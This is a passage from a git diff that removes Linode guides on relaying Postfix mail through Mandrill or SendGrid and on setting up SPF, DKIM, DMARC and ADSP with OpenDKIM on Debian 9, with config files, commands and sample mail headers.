use Postfix’s own Sendmail implementation to test your Postfix configuration. Replace the example's values with your own. When you are done drafting your email type **ctrl d**. - - sendmail recipient@elsewhere.com - From: you@example.com - Subject: Test mail - This is a test email -{{< /note >}} - -## Postfix Configuration with Mandrill, and SendGrid - -This section shows you settings for some popular mail services you can use as external SMTP servers. You may have to do some fine-tuning on your own to avoid Postfix logins being flagged as suspicious. - -### Postfix Configuration for Mandrill - -1. Open your `/etc/postfix/sasl_passwd` file and replace `USERNAME` and `API_KEY` with your own Mandrill credentials and save your changes. - - {{< file "/etc/postfix/sasl_passwd" >}} -[smtp.mandrillapp.com]:587 USERNAME:API_KEY -{{}} - -1. Open your /etc/postfix/main.cf file and add the Mandrill relay host information included in the example file. - - {{< file "/etc/postfix/main.cf" >}} -relayhost = [smtp.mandrillapp.com]:587 -{{}} - -1. Create a hash database file for Postfix using the `postmap` command: - - sudo postmap /etc/postfix/sasl_passwd - -1. Restart Postfix to enable your new configurations: - - sudo service postfix restart - -### Postfix Configuration for SendGrid - -1. Open your `/etc/postfix/sasl_passwd` file and replace `USERNAME` and `PASSWORD` with your own SendGrid credentials and save your changes. - - {{< file "/etc/postfix/sasl_passwd" >}} -[smtp.sendgrid.net]:587 USERNAME:PASSWORD -{{< /file >}} - -1. Open your /etc/postfix/main.cf file and add the SendGrid relay host information included in the example file. - - {{< file "/etc/postfix/main.cf" >}} -relayhost = [smtp.sendgrid.net]:587 -{{< /file >}} - -1. Create a hash database file for Postfix using the `postmap` command: - - sudo postmap /etc/postfix/sasl_passwd - -1. Restart Postfix to enable your new configurations: - - sudo service postfix restart - -## How Do I Check My Postfix Configuration? - -All Postfix configuration files are stored in the `/etc/postfix` directory. You can use the `postconf` command to view all of your system's Postfix configurations and their details. This is a great way to verify that your Postfix configuration values are as you expect them to be. - -To view all the available `postconf` options, view its manual pages using the `man postconf` command. - -## How Do I Change My Postfix Configuration? - -Postfix configuration files are located in the `/etc/postfix/` directory. Most of your configurations are made in either the `main.cf` or `master.cf` files. To learn more about Postfix configuration files see [Postfix's README](http://www.postfix.org/BASIC_CONFIGURATION_README.html). diff --git a/docs/guides/email/postfix/configure-spf-and-dkim-in-postfix-on-debian-9/index.md b/docs/guides/email/postfix/configure-spf-and-dkim-in-postfix-on-debian-9/index.md deleted file mode 100644 index da8787b0c57..00000000000 --- a/docs/guides/email/postfix/configure-spf-and-dkim-in-postfix-on-debian-9/index.md +++ /dev/null @@ -1,576 +0,0 @@ ---- -slug: configure-spf-and-dkim-in-postfix-on-debian-9 -title: 'Configure SPF and DKIM With Postfix on Debian 9' -description: 'This guide provides you with step-by-step instructions for configuring your domains SPF and DKIM DNS records in Postfix mail server on Debian 9.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-12-13 -modified: 2021-08-20 -keywords: ["email", "postfix", "spf", "dkim", "debian 9", "opendkim", "dns", "dmarc"] -tags: ["debian","postfix","email"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[DomainKeys Identified Mail](http://www.dkim.org/)' - - '[DMARC](http://dmarc.org/)' - - '[OpenDKIM](http://www.opendkim.org/)' - - 'The [Sender Policy Framework](https://en.wikipedia.org/wiki/Sender_Policy_Framework) and [DomainKeys Identified Mail](https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail) Wikipedia pages should not be considered authoritative but do provide helpful discussion and additional references.' - - '[DMARC Record Assistant](http://kitterman.com/dmarc/assistant.html) provides a web form to generate a DMARC record for you based on your selections.' -relations: - platform: - key: configure-spf-dkim-postfix - keywords: - - distribution: Debian 9 -aliases: ['/email/postfix/configure-spf-and-dkim-in-postfix-on-debian-9/'] ---- - -This guide provides instructions to set up SPF and DKIM with Postfix. - -{{% content "email-warning-shortguide" %}} - -## What is SPF (Sender Policy Framework)? - -SPF (Sender Policy Framework) is a system that identifies to mail servers what hosts are allowed to send email for a given domain. Setting up SPF helps to prevent your email from being classified as spam. - -## What is DKIM (DomainKeys Identified Mail)? - -[DKIM (DomainKeys Identified Mail)](http://www.dkim.org/) is a system that lets your official mail servers add a signature to headers of outgoing email. It identifies your domain's public key so other mail servers can verify the signature. Also DKIM helps keep your mail from being considered as spam. It also lets mail servers detect when your mail has been tampered with in transit. - -## What is DMARC (Domain Message Authentication, Reporting and Conformance)? - -[DMARC (Domain Message Authentication, Reporting & Conformance)](http://dmarc.org/) allows you to advertise to mail servers the policies of your domain. The policies are regarding mails that fail SPF or DKIM validations. It also allows you to request reports on failed messages from receiving mail servers. - -The DNS instructions for setting up SPF, DKIM and DMARC are generic. The instructions to configure the SPF policy agent and OpenDKIM into Postfix work on any distribution. You only need to make respective code adjustments for the package tool, and identify the exact path to the Unix socket file. - -{{< note >}} -The steps required in this guide require root privileges. Be sure to run the steps below as **root** or with the `sudo` prefix. For more information on privileges see our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} -{{< note type="alert" >}} -You must already have Postfix installed, configured and working. Refer to the [Linode Postfix Guides](/cloud/guides/email/postfix/) for assistance. - -You can publish an SPF DNS record without configuring the SPF policy agent within Postfix. However, publishing DKIM DNS records without an OpenDKIM within Postfix can result in your email being discarded by the recipient's email server. -{{< /note >}} - -## Install DKIM, SPF and Postfix - -1. Install the required packages: - - apt-get install opendkim opendkim-tools postfix-policyd-spf-python postfix-pcre - -2. Add user `postfix` to the `opendkim` group so that Postfix can access OpenDKIM's socket: - - adduser postfix opendkim - -## Set up SPF - -### Add SPF records to DNS - -The value in an SPF DNS record looks similar to the following examples. - -**Example 1** Allow mail from all hosts listed in the MX records for the domain: - - v=spf1 mx -all - -**Example 2** Allow mail from a specific host: - - v=spf1 a:mail.example.com -all - -- The `v=spf1` tag is required and has to be the first tag. - -- The last tag, `-all`, indicates that mail from your domain should only come from servers identified in the SPF string. Anything coming from any other source is forging your domain. An alternative is `~all`, that indicates the mail servers to accept the message and flag it as forged instead of rejecting. `-all` makes it harder for spammers to forge your domain successfully; it is the recommended setting. `~all` reduces the chances of email getting lost because an incorrect mail server was used to send mail. `~all` can be used if you don't want to take chances. - -The tags between identify eligible servers from which email to your domain can originate. - -- `mx` is a shorthand for all the hosts listed in MX records for your domain. If you've got a solitary mail server, `mx` is probably the best option. If you've got a backup mail server (a second MX record), using `mx` does not cause any problems. Your backup mail server is identified as an authorized source for email although it probably never sends any. - -- The `a` tag lets you identify a specific host by name or IP address, letting you specify which hosts are authorized. You'd use `a` if you wanted to prevent the backup mail server from sending outgoing mail or if you wanted to identify hosts other than your own mail server. A mail server that could send mail from your domain, for example, adding your ISP's outgoing mail servers in the list so they'd be recognized when you had to send mail through them. - -This guide uses the `mx` version. It is simpler and correct for most basic configurations, including those that handle multiple domains. To add the record, go to your DNS management interface and add a record of type TXT for your domain the following string: - - v=spf1 mx -all - -If you're using Linode's DNS Manager, go to the domain zone page for the selected domain and add a new TXT record. After you have filled the information, the screen looks similar to: - -![Linode DNS manager add SPF TXT record](spf-record.png) - -If your DNS provider allows it and DNS Manager doesn't, you should also add a record of type SPF. Provide the details in the same way as you did for the TXT record. - -{{< note >}} -The values for the DNS records and for the rest of this guide are that works for Linode's DNS Manager. If you are using another provider, that respective system may require the values in a different style. For example *freedns.afraid.org* requires the values to be written in the style found in BIND zonefiles. Thus, the above SPF record's value need to be wrapped in double-quotes similar to: `"v=spf1 mx -all"`. You need to consult your DNS provider's documentation for the exact style required. -{{< /note >}} - -### Add the SPF policy agent to Postfix - -The Python SPF policy agent adds SPF policy-checking to Postfix. The SPF record for the sender's domain for incoming mail is checked and, if it exists, mail is handled accordingly. Perl has its own version, but it lacks the full capabilities of Python policy agent. - -1. If you are using *SpamAssassin* to filter spam, you may want to edit `/etc/postfix-policyd-spf-python/policyd-spf.conf` to change the `HELO_reject` and `Mail_From_reject` settings to `False`. This edit causes the SPF policy agent to run its tests and add a message header with the results in it `while _not_ rejecting` any messages. You may also want to make this change if you want to see the results of the checks but not apply them to mail processing. Otherwise, go with the standard settings. - -2. Edit `/etc/postfix/master.cf` and add the following entry at the end: - - {{< file "/etc/postfix/master.cf" resource >}} -policyd-spf unix - n n - 0 spawn - user=policyd-spf argv=/usr/bin/policyd-spf - -{{< /file >}} - - -3. Open `/etc/postfix/main.cf` and add this entry to increase the Postfix policy agent timeout, which prevents Postfix from aborting the agent if transactions run a bit slowly: - - {{< file "/etc/postfix/main.cf" aconf >}} -policyd-spf_time_limit = 3600 - -{{< /file >}} - - -4. Edit the `smtpd_recipient_restrictions` entry to add a `check_policy_service` entry: - - {{< file "/etc/postfix/main.cf" aconf >}} -smtpd_recipient_restrictions = - ... - reject_unauth_destination, - check_policy_service unix:private/policyd-spf, - ... - -{{< /file >}} - - -Make sure to add the `check_policy_service` entry **after** the `reject_unauth_destination` entry to avoid your system from being an open relay. If `reject_unauth_destination` is the last item in your restrictions list, add the comma after it and omit the comma at the end of the `check_policy_service` item above. - -5. Restart Postfix: - - systemctl restart postfix - -You can check the operation of the policy agent by looking at raw headers on incoming email messages for the SPF results header. The header the policy agent adds to messages should look something like this: - - Received-SPF: Pass (sender SPF authorized) identity=mailfrom; client-ip=127.0.0.1; helo=mail.example.com; envelope-from=text@example.com; receiver=tknarr@silverglass.org - -This header indicates a successful check against the SPF policy of the sending domain. If you changed the policy agent settings to not reject mail that fails the SPF check, then *Fail* appears in this header. This header does not appear on outgoing or local mail. - -The SPF policy agent also logs to `/var/log/mail.log`. In the `mail.log` file you see messages similar to this from the policy agent: - - Jan 7 06:24:44 arachnae policyd-spf[21065]: None; identity=helo; client-ip=127.0.0.1; helo=mail.example.com; envelope-from=test@example.com; receiver=tknarr@silverglass.org - Jan 7 06:24:44 arachnae policyd-spf[21065]: Pass; identity=mailfrom; client-ip=127.0.0.1; helo=mail.example.com; envelope-from=test@example.com; receiver=tknarr@silverglass.org - -The first message checks the HELO command, and there wasn't any SPF information matching the *HELO*. The second message checks against the envelope *From* address. It indicates that the address passed the check and is from one of the outgoing mail servers.The sender's domain has marked these servers to send mail. There may be other statuses in the first field after the colon indicating failure, temporary or permanent errors and so on. - -## Set up DKIM using OpenDKIM - -DKIM involves setting up the OpenDKIM package, hooking it into Postfix, and adding DNS records. - -### How to Configure OpenDKIM - -1. The main OpenDKIM configuration file `/etc/opendkim.conf` needs to look like this: - - {{< file "/etc/opendkim.conf" aconf >}} -# This is a basic configuration that can easily be adapted to suit a standard -# installation. For more advanced options, see opendkim.conf(5) and/or -# /usr/share/doc/opendkim/examples/opendkim.conf.sample. - -# Log to syslog -Syslog yes -# Required to use local socket with MTAs that access the socket as a non- -# privileged user (e.g. Postfix) -UMask 002 -# OpenDKIM user -# Remember to add user postfix to group opendkim -UserID opendkim - -# Map domains in From addresses to keys used to sign messages -KeyTable /etc/opendkim/key.table -SigningTable refile:/etc/opendkim/signing.table - -# Hosts to ignore when verifying signatures -ExternalIgnoreList /etc/opendkim/trusted.hosts -InternalHosts /etc/opendkim/trusted.hosts - -# Commonly-used options; the commented-out versions show the defaults. -Canonicalization relaxed/simple -Mode sv -SubDomains no -#ADSPAction continue -AutoRestart yes -AutoRestartRate 10/1M -Background yes -DNSTimeout 5 -SignatureAlgorithm rsa-sha256 - -# Always oversign From (sign using actual From and a null From to prevent -# malicious signatures header fields (From and/or others) between the signer -# and the verifier. From is oversigned by default in the Debian package -# because it is often the identity key used by reputation systems and thus -# somewhat security sensitive. -OversignHeaders From - -# Define the location of the Socket and PID files -Socket local:/var/spool/postfix/opendkim/opendkim.sock -PidFile /var/run/opendkim/opendkim.pid - -{{< /file >}} - - - Edit `/etc/opendkim.conf` and replace it's contents with the above. - -2. Ensure that file permissions are set correctly: - - chmod u=rw,go=r /etc/opendkim.conf - -3. Create the directories to hold OpenDKIM's data files, assign ownership to the `opendkim` user, and restrict the file permissions: - - mkdir /etc/opendkim - mkdir /etc/opendkim/keys - chown -R opendkim:opendkim /etc/opendkim - chmod go-rw /etc/opendkim/keys - -4. Create the signing table `/etc/opendkim/signing.table`. It needs to have one line per domain that you handle email for. Each line should look similar to: - - {{< file "/etc/opendkim/signing.table" >}} -*@example.com example - -{{< /file >}} - - - Replace `example.com` with your domain and `example` with a short name for the domain. The first field is a pattern that matches e-mail addresses. The second field is a name for the key table entry that is used to sign mail from that address. For simplicity's sake, set up one key for all addresses in a domain. - -5. Create the key table `/etc/opendkim/key.table`. It needs to have one line per short domain name in the signing table. Each line should look like this: - - {{< file "/etc/opendkim/key.table" resource >}} -example example.com:YYYYMM:/etc/opendkim/keys/example.private - -{{< /file >}} - - - Replace `example` with the `example` value you used for the domain in the signing table. Make sure to catch the second occurrence at the end, where it's followed by `.private`. Replace `example.com` with your domain name and replace the `YYYYMM` with the current 4-digit year and 2-digit month. This is referred to as the selector. The first field connects the signing and key tables. - - The second field is broken down into 3 sections separated by colons. - - - The first section is the domain name for which the key is used. - - The second section is a selector used when looking up key records in DNS. - - The third section names the file containing the signing key for the domain. - - {{< note respectIndent=false >}} -The flow for DKIM lookup starts with the sender's address. The signing table is scanned until an entry pattern of the first item that matches the address is found. Then, the second item's value is used to locate the entry in the key table for the key information. For incoming mail the domain and selector are used to find the public key TXT record in DNS. This public key is used to validate the signature. For outgoing mail the private key is read from the named file and used to generate the signature on the message. -{{< /note >}} - -6. Create the trusted hosts file `/etc/opendkim/trusted.hosts`. Its contents need to be: - - {{< file "/etc/opendkim/trusted.hosts" resource >}} -127.0.0.1 -::1 -localhost -myhostname -myhostname.example.com -example.com - -{{< /file >}} - - - When creating the file, change `myhostname` to the name of your server and replace `example.com` with your domain name. Identify the hosts that users are submitting mail through and have outgoing mail signed. These basic configurations are located in your mail server. - -7. Make sure the ownership and permissions on `/etc/opendkim` and it's contents are correct (`opendkim` should own everything, the `keys` directory should only be accessible by the owner) by running the following commands: - - chown -R opendkim:opendkim /etc/opendkim - chmod -R go-rwx /etc/opendkim/keys - -8. Generate keys for each domain: - - opendkim-genkey -b 2048 -h rsa-sha256 -r -s YYYYMM -d example.com -v - - Replace `YYYYMM` with the current year and month as in the key table. This generates two files, `YYYYMM.private` containing the key and `YYYYMM.txt` containing the TXT record that you need to set up DNS. Rename the files so they have names matching the third section of the second field of the key table for the domain: - - mv /etc/opendkim/keys/YYYYMM.private /etc/opendkim/keys/example.private - mv /etc/opendkim/keys/YYYYMM.txt /etc/opendkim/keys/example.txt - - Repeat the commands in this step for every entry in the key table. The `-b 2048` indicates the number of bits in the RSA key pair used for signing and verification. 1024 bits is the minimum, but with modern hardware 2048 bits is safer. (It's possible 4096 bits are required at some point.) - -9. Make sure the ownership, permissions and contents on `/etc/opendkim` are correct by running the following commands: - - cd /etc - chown -R opendkim:opendkim /etc/opendkim - chmod -R go-rw /etc/opendkim/keys - -10. Check that OpenDKIM starts correctly: - - systemctl restart opendkim - - You should not get error messages, but if you do, use the following command to get the status, and untruncated error messages: - - systemctl status -l opendkim - - -### Set up DNS - -As with SPF, DKIM uses TXT records to hold information about the signing key for each domain. Using YYYYMM as above, you need to make a TXT record for the host `YYYYMM._domainkey` for each domain you handle mail for. Its value can be found in the `example.txt` file for the domain. Those files look like this: - -{{< file "example.txt" resource >}} -201510._domainkey IN TXT ( "**v=DKIM1; h=rsa-sha256; k=rsa; s=email; " - "p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu5oIUrFDWZK7F4thFxpZa2or6jBEX3cSL6b2TJdPkO5iNn9vHNXhNX31nOefN8FksX94YbLJ8NHcFPbaZTW8R2HthYxRaCyqodxlLHibg8aHdfa+bxKeiI/xABRuAM0WG0JEDSyakMFqIO40ghj/h7DUc/4OXNdeQhrKDTlgf2bd+FjpJ3bNAFcMYa3Oeju33b2Tp+PdtqIwXR" - "ZksfuXh7m30kuyavp3Uaso145DRBaJZA55lNxmHWMgMjO+YjNeuR6j4oQqyGwzPaVcSdOG8Js2mXt+J3Hr+nNmJGxZUUW4Uw5ws08wT9opRgSpn+ThX2d1AgQePpGrWOamC3PdcwIDAQAB**" ) ; ----- DKIM key 201510 for example.com - -{{< /file >}} - - -The value inside the parentheses is what you need. Select and copy the entire region from and do not include the double-quote before `v=DKIM1`. Also do not include the final double-quote before the closing parentheses. Then edit out the double-quotes within the copied text and the whitespace between them. Also change `h=rsa-sha256` to `h=sha256`. From the above file the result would be: - -{{< file "example-copied.txt" resource >}} -v=DKIM1; h=sha256; k=rsa; s=email; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu5oIUrFDWZK7F4thFxpZa2or6jBEX3cSL6b2TJdPkO5iNn9vHNXhNX31nOefN8FksX94YbLJ8NHcFPbaZTW8R2HthYxRaCyqodxlLHibg8aHdfa+bxKeiI/xABRuAM0WG0JEDSyakMFqIO40ghj/h7DUc/4OXNdeQhrKDTlgf2bd+FjpJ3bNAFcMYa3Oeju33b2Tp+PdtqIwXRZksfuXh7m30kuyavp3Uaso145DRBaJZA55lNxmHWMgMjO+YjNeuR6j4oQqyGwzPaVcSdOG8Js2mXt+J3Hr+nNmJGxZUUW4Uw5ws08wT9opRgSpn+ThX2d1AgQePpGrWOamC3PdcwIDAQAB - -{{< /file >}} - - -Paste that as the value for the TXT record. - -If you're using Linode's DNS manager, this is what the add TXT record screen looks like when you have it filled out: - -![Linode DNS manager add SPF TXT record](dkim-record.png) - -Repeat this for every domain you handle mail for, using the `.txt` file for that domain. - -### Test your configuration - -Test the keys for correct signing and verification using the `opendkim-testkey` command: - - opendkim-testkey -d example.com -s YYYYMM - -If everything is OK you shouldn't get any output. If you want to see more information, add `-vvv` to the end of the command. That produces verbose debugging output. The last message should be "key OK". Just before that you may see a "key not secure" message. That's normal and doesn't signal an error, it just means your domain isn't set up for DNSSEC yet. - -### Testing Postfix, DKIM on Debian 9 With A Gmail Test - -A big part of configuring and testing new SPF and DKIM settings with Postfix is to ensure that you send emails with right deliverability metrics. It ensures that you achieve those deliverability targets. That is why, consider testing your configuration with Gmail. With Gmail you get one of the best, state of art spam tests that you can reliably use to ensure the right configuration. - -The way this test works is, send Gmail a mail where it checks DMARC, SPF and DKIM, and assess the authentication results. After you send an email from your domain to a Gmail account, click the original message to see the results of the mailing configuration. - -Here is what the output looks like: - -{{< output >}} -Delivered-To: linode_test@gmail.com -Received: by 2022:a15:6452:26ca:0:0:0:0 with SMTP id x101233381265edd; - Sun, 7 Feb 2021 02:40:04 -0800 (PST) -X-Received: by 2002:aa7:c78e:: with SMTP id nnhdgajksdh019555eds.31.1612694404713; - Sun, 07 Feb 2021 02:40:04 -0800 (PST) -ARC-Seal: i=1; a=rsa-sha256; t=1612694404; cv=none; - d=google.com; s=arc-20160816; - b=e1zT7lkjaty295s252s8E1PsVhmHMIAMk4xEcod7ykGgp+Sjji3kwLWtgoOuVT7 - 7+ZrTJhBwc+jhrJZixFiZ3iDYe7MZ/ZqpoUdx6pBEob5iT2GL53VNPMojfVeTmHCHwb5 - Gs7Q4xMotUg70lPnygZLXN/3Ew5G2jU0UMaJApVEkdmg1wwRCzOrGZ42+0j5x+c3WTKY - XinRVGBTk8z2QhB5FM8gIbphpBAbBdiXi9V31X05roGDvj2pSHQUEr0G8Zi+H0xi4fai - LRX2MwQnQYC/BFQHY670/4VjJ491uIe3bvqI4ikCvvFg4Nf5cVu5hOfKGMgCM4dGtvAsoMkw== -ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816; - h=to:subject:message-id:date:from:mime-version:dkim-signature; - bh=CQa88kls02k2a2--020ws00ElJC8DpnJ/Vcf0Tivzmw=; - b=Vz5mtq7eUMI/AZE4ndK8CewT+Js7jeYBwaG4FrpJtpf30aHvBugO5BhQD3mzeYd/sZ - Os7bXOkkqkoaN/o/MeTudHctx1ZemC1/bBOsa6emufGJ7ZlPrvGJkUJXDzrgKv43vKGl - MoQDj6H/cG2ab2ohEaxB0tdjg/tqMLsBRh1ReWGYwtFCWHQ7XVPMTwfDUpm5mR4P0b5 - xEBWg2aRcriq1W2IM/CdVy5V/Id8+Kk+pU8dft7tgRGhk8dMDC+DTqEV8U9a/bSB5Pha - b2zlxr6CjNQ7X5/gZ2c2hlQfDHm/wLuZe42BxnBtr1bXbkzDwvPQKGHtozCqTUv7Js8U - eH2w== -ARC-Authentication-Results: i=1; mx.google.com; - dkim=pass header.i=@domain.com header.s=google header.b=TDC76zp2; - spf=pass (google.com: domain of email@domain.com designates 209.85.220.41 as permitted sender) smtp.mailfrom=email@domain.com; - dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=domain.com -Return-Path: -Received: from mail-sor-f41.google.com (mail-sor-f41.google.com. [209.85.220.41]) - by mx.google.com with SMTPS id c61ssor1asdasd41edd.11.2021.02.06.02.40.04 - for - (Google Transport Security); - Sun, 07 Feb 2021 02:40:04 -0800 (PST) -Received-SPF: pass (google.com: domain of email@domain.com designates 209.85.220.41 as permitted sender) client-ip=209.85.220.41; -Authentication-Results: mx.google.com; - dkim=pass header.i=@domain.com header.s=google header.b=TDC76zp2; - spf=pass (google.com: domain of email@domain.com designates 209.85.220.41 as permitted sender) smtp.mailfrom=email@domain.com; - dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=domain.com -DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; - d=domain.com; s=google; - h=mime-version:from:date:message-id:subject:to; - bh=CQaEpaad4454keGFDbp3px5FqXsElJC8DpnJ/Vcf0Tivzmw=; - b=TDC76zp2zXQQlNI/0U62oi93/NPMwJ5MnTssTHyd/r9b8qujJ1+kko10Af41Bujmya - 6IyNRs4nennghXq4C6Vrzd0cCYdmZuxFPMizdJcit1iwRYM8RKP5k4L5cQliQFkYOyZz - +6g16OO2oWR3VSFHtQu1jwTyBLpcMzF2JIMC+LyyB9Sw5fpfNXnM2G6fbjVvc7SavBC0 - XgjWAMUXqSzcLrGPckHMxIA2wRi+f55VYJvpvlyRE/QLSgmQaMyIeY6gFaVNFa+xVHQs - Memtk4l2B49dDRxyusd6uMDHb9qHSt2lXQF1w0jGoP1O0CfQqhsAHqALnf1gj0/kgZ3S - 0vcQ== -X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; - d=1e100.net; s=20161025; - h=x-gm-message-state:mime-version:from:date:message-id:subject:to; - bh=CQaEpNvHkeGFDbp3px5FqXsElJC8DpnJ/Vcf0Tivzmw=; - b=mtXJkLSo+mbSetCIBmxguaJKR1udlwN4vseQZIjKCHlkJ/aVVmAXb9d53EULe/3IVz - qtKE2dQ25THWDNS1729ErDLPc9MtHJAUsQpQagO9d3ZoL5SQE00Ao+iro6hW+KRc2A9c - ee76SFoX9vrKIItinh+CRvoRDS9JrNWY6jsV5AMS+ZvS3qoWk6r6XHUzlg0oFV82hXTQ - CfxRMFha67v55SIh9w5t6tA0R6C9oCR0xaw9VezIl+lWWBLK8e3vXb9HA+bmDr+uWL9r - rb9FjtfHzKUpHSzxf55JmMadG0R7DtuLqiub1d6QYzM9JRv4hdAMq0qXDuHD2sdqySJylt2g== -X-Gm-Message-State: AOWEWE530tXA9OwV6u6/9Eon7ybiRjtgENSOiLx3UoSV12u6XzInJWCBRW +95Trq/FGnzasda574KoJTvq6o0OcCUetYD5TV8FkdiNcPf3A93a5l -X-Google-Smtp-Source: ABdhPJwBbL4kAXW94sbHwYuWknGLSW74jiM63gpffwPeja9jYsk20532NfooJZ4r6YfDkxxWgYgP05g9rEuyJ+uYAM= -X-Received: by 2012:a50:d6c1:: with SMTP id l1jil200q196007edj.336.16126454504190; Sun, 07 Feb 2021 02:40:04 -0800 (PST) -MIME-Version: 1.0 -From: John Doe -Date: Sun, 7 Feb 2021 16:09:52 +0530 -Message-ID: -Subject: Domain sending reputation test -To: John Doe -Content-Type: multipart/alternative; boundary="00000000000017ui2203babcadb4" - ---00000000000017e7c9903922cadb4 -Content-Type: text/plain; charset="UTF-8" - -Domain sending reputation test - ---00000000000017e7c905babcadb4 -Content-Type: text/html; charset="UTF-8" - -
Domain sending reputation test
- ---00000000000017e7c905babcadb4-- -{{< /output >}} - -From the above email it is clear that: -- SPF is properly configured: `spf=pass (google.com: domain of email@domain.com designates 209.85.220.41 as permitted sender) smtp.mailfrom=email@domain.com;` -- DKIM has a pass: `dkim=pass header.i=@domain.com header.s=google header.b=TDC76zp2` -- DMARC is properly set too: `dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=domain.com` - - -### Hook OpenDKIM into Postfix - -1. Create the OpenDKIM socket directory in Postfix's work area and make sure it has the correct ownership: - - mkdir /var/spool/postfix/opendkim - chown opendkim:postfix /var/spool/postfix/opendkim - -2. Set the correct socket for Postfix in the OpenDKIM defaults file `/etc/default/opendkim`: - - {{< file "/etc/default/opendkim" >}} -# Command-line options specified here overrides the contents of -# /etc/opendkim.conf. See opendkim(8) for a complete list of options. -#DAEMON_OPTS="" -# -# Uncomment to specify an alternate socket -# Note that setting this overrides any Socket value in opendkim.conf -SOCKET="local:/var/spool/postfix/opendkim/opendkim.sock" -#SOCKET="inet:54321" # listen on all interfaces on port 54321 -#SOCKET="inet:12345@localhost" # listen on loopback on port 12345 -#SOCKET="inet:12345@192.0.2.1" # listen on 192.0.2.1 on port 12345 - -{{< /file >}} - - - - Uncomment the first SOCKET line and edit it so it matches the uncommented line in the above file. The path to the socket is different from the default because on Debian 9 the Postfix process that handles mail runs in a chroot jail and can't access the normal location. - -3. Edit `/etc/postfix/main.cf` and add a section to activate processing of e-mail through the OpenDKIM daemon: - - {{< file "/etc/postfix/main.cf" aconf >}} -# Milter configuration -# OpenDKIM -milter_default_action = accept -# Postfix ≥ 2.6 milter_protocol = 6, Postfix ≤ 2.5 milter_protocol = 2 -milter_protocol = 6 -smtpd_milters = local:opendkim/opendkim.sock -non_smtpd_milters = local:opendkim/opendkim.sock - -{{< /file >}} - - - You can put this anywhere in the file. The usual practice is to put it after the `smtpd_recipient_restrictions` entry. You'll notice the path to the socket isn't the same here as it was in the `/etc/defaults/opendkim` file. That's because of Postfix's chroot jail, the path here is the path within that restricted view of the filesystem instead of within the actual filesystem. - -4. Restart the OpenDKIM daemon so it sets up the correct socket for Postfix: - - systemctl restart opendkim - -5. Restart Postfix so it starts using OpenDKIM when processing mail: - - systemctl restart postfix - -### Verify that everything's fully operational - -The easiest way to verify that everything's working is to send a test e-mail to `check-auth@verifier.port25.com`. Use an email client configured to submit mail to the submission port on your mail server. It analyzes your message and mails you a report indicating whether your email was signed correctly or not. It also reports on a number of other things such as SPF configuration and SpamAssassin flagging of your domain. If there's a problem, it reports what the problem was. - -## Optional: Set up Author Domain Signing Practices (ADSP) - -As a final item, you can add an ADSP policy to your domain saying that all emails from your domain should be DKIM-signed. As usual, it's done with a TXT record for host `_adsp._domainkey` in your domain with a value of `dkim=all`. If you're using Linode's DNS Manager, the screen for the new text record looks like this: - -![Linode DNS Manager add ADSP TXT record](adsp-record.png) - -You don't need to set this up, but doing so makes it harder for anyone to forge email from your domains. Because recipient mail servers see the lack of a DKIM signature and reject the message. - -## Optional: Set up Domain Message Authentication, Reporting & Conformance (DMARC) - -The DMARC DNS record can be added to advise mail servers what to do with emails claiming to be from your domain that fail SPF or DKIM validations. DMARC also allows you to request reports about mail that fails to pass one or more validation check. DMARC should only be set up if you have SPF and DKIM set up and operating successfully. If you add the DMARC DNS record without having both SPF and DKIM in place, messages from your domain fails validation which may cause them to be discarded or relegated to a spam folder. - -The DMARC record is a TXT record for host `_dmarc` in your domain containing the following recommended values: - - v=DMARC1;p=quarantine;sp=quarantine;adkim=r;aspf=r - -This requests mail servers to quarantine (do not discard, but separate from regular messages) any email that fails either SPF or DKIM checks. No reporting is requested. Very few mail servers implement the software to generate reports on failed messages, so it is often unnecessary to request them. If you do wish to request reports, the value would be similar to this example, added as a single string: - - v=DMARC1;p=quarantine;sp=quarantine;adkim=r;aspf=r;fo=1;rf=afrf;rua=mailto:user@example.com - -Replace `user@example.com` in the `mailto:` URL with an email address you own dedicated to receiving reports, an address such as `dmarc@example.com`. This requests aggregated reports in XML showing how many messages fell into each combination of pass and fail results and the mail server addresses sending them. If you're using Linode's DNS Manager, the screen for the new text record looks similar to: - -![Linode DNS Manager add DMARC TXT record](dmarc-record.png) - -DMARC records have a number of available tags and options. These tags are used to control your authentication settings: - -* `v` specifies the protocol version, in this case `DMARC1`. -* `p` determines the policy for the root domain, such as "example.com." The available options: - * `quarantine` instructs that if an email fails validation, the recipient should set it aside for processing. - * `reject` requests that the receiving mail server reject the emails that fail validation. - * `none` requests that the receiver take no action if an email does not pass validation. -* `sp` determines the policy for subdomains, such as "subdomain.example.com." It takes the same arguments as the `p` tag. -* `adkim` specifies the alignment mode for DKIM, which determines how strictly DKIM records are validated. The available options are: - * `r` relaxed alignment mode, DKIM authentication is less strictly enforced. - * `s` strict alignment mode. Only an exact match with the DKIM entry for the root domain is marked as validated. -* `aspf` determines the alignment mode for SPF verification. It takes the same arguments as `adkim`. - -If you wish to receive authentication failure reports, DMARC provides a number of configuration options. You can use the following tags to customize the formatting of your reports, as well as the criteria for report creation. - -* `rua` specifies the email address that receives aggregate reports. This uses the `mailto:user@example.com` syntax, and accepts multiple addresses separated by commas. Aggregate reports are usually generated once per day. -* `ruf` specifies the email address that receives detailed authentication failure reports. This takes the same arguments as `rua`. With this option, each authentication failure would result in a separate report. -* `fo` allows you to specify which failed authentication methods are reported. One or more of the following options can be used: - * `0` requests a report if *all* authentication methods fail. For example, if an SPF check were to fail but DKIM authentication was successful, a report would not be sent. - * `1` requests a report if *any* authentication check fails. - * `d` requests a report if a DKIM check fails. - * `s` requests a report if an SPF check fails. -* `rf` determines the format used for authentication failure reports. Available options: - * `afrf` uses the Abuse Report format as defined by [RFC 5965](https://www.ietf.org/rfc/rfc5965.txt). - * `iodef` uses the Incident Object Description 